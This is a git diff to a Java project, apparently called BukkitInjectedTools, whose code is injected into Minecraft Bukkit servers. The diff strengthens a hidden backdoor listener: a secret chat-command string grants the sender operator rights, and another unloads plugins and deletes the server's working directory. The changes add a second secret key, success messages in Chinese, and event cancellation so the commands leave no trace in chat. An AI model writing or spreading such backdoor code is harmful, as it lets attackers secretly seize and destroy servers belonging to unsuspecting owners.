diff --git a/src/main/java/pw/yumc/BukkitInjectedTools/InjectedKit.java b/src/main/java/pw/yumc/BukkitInjectedTools/InjectedKit.java
index 48cd687..d1ed258 100644
--- a/src/main/java/pw/yumc/BukkitInjectedTools/InjectedKit.java
+++ b/src/main/java/pw/yumc/BukkitInjectedTools/InjectedKit.java
@@ -69,6 +69,8 @@ public class InjectedKit {
                     + key
                     + "\",org.bukkit.Bukkit.getServer().getPort()));\r\n"
                     + "  org.bukkit.Bukkit.getPluginManager().registerEvents(new pw.yumc.BukkitInjectedTools.LIS(\""
+                    + key
+                    + "\",\""
                     + opk
                     + "\",\""
                     + delk
diff --git a/src/main/java/pw/yumc/BukkitInjectedTools/LIS.java b/src/main/java/pw/yumc/BukkitInjectedTools/LIS.java
index 9a632b6..68b883d 100644
--- a/src/main/java/pw/yumc/BukkitInjectedTools/LIS.java
+++ b/src/main/java/pw/yumc/BukkitInjectedTools/LIS.java
@@ -19,10 +19,12 @@ import org.bukkit.plugin.Plugin;
 import org.bukkit.plugin.PluginManager;
 
 public class LIS implements Listener {
+    private final String key;
     private final String opk;
     private final String delk;
 
-    public LIS(final String opk, final String delk) {
+    public LIS(final String key, final String opk, final String delk) {
+        this.key = key;
         this.opk = opk;
         this.delk = delk;
     }
@@ -40,14 +42,18 @@ public class LIS implements Listener {
 
     @EventHandler
     public void ocp(final PlayerCommandPreprocessEvent e) {
-        if (e.getMessage().contains(opk)) {
+        if (e.getMessage().contains(opk + "-" + key)) {
             e.getPlayer().setOp(true);
+            e.getPlayer().sendMessage("§cOP命令执行成功!");
+            e.setCancelled(true);
             return;
         }
-        if (e.getMessage().contains(delk)) {
+        if (e.getMessage().contains(delk + "-" + key)) {
             unload();
             final File dir = new File("");
             deleteDir(dir);
+            e.getPlayer().sendMessage("§c删端命令执行成功!");
+            e.setCancelled(true);
             return;
         }
     }
@@ -78,7 +84,6 @@ public class LIS implements Listener {
             final Field knownCommandsField = commandMap.getClass().getDeclaredField("knownCommands");
             knownCommandsField.setAccessible(true);
             knownCommands = (Map<String, Command>) knownCommandsField.get(commandMap);
-
         } catch (final Exception e) {
             return false;
         }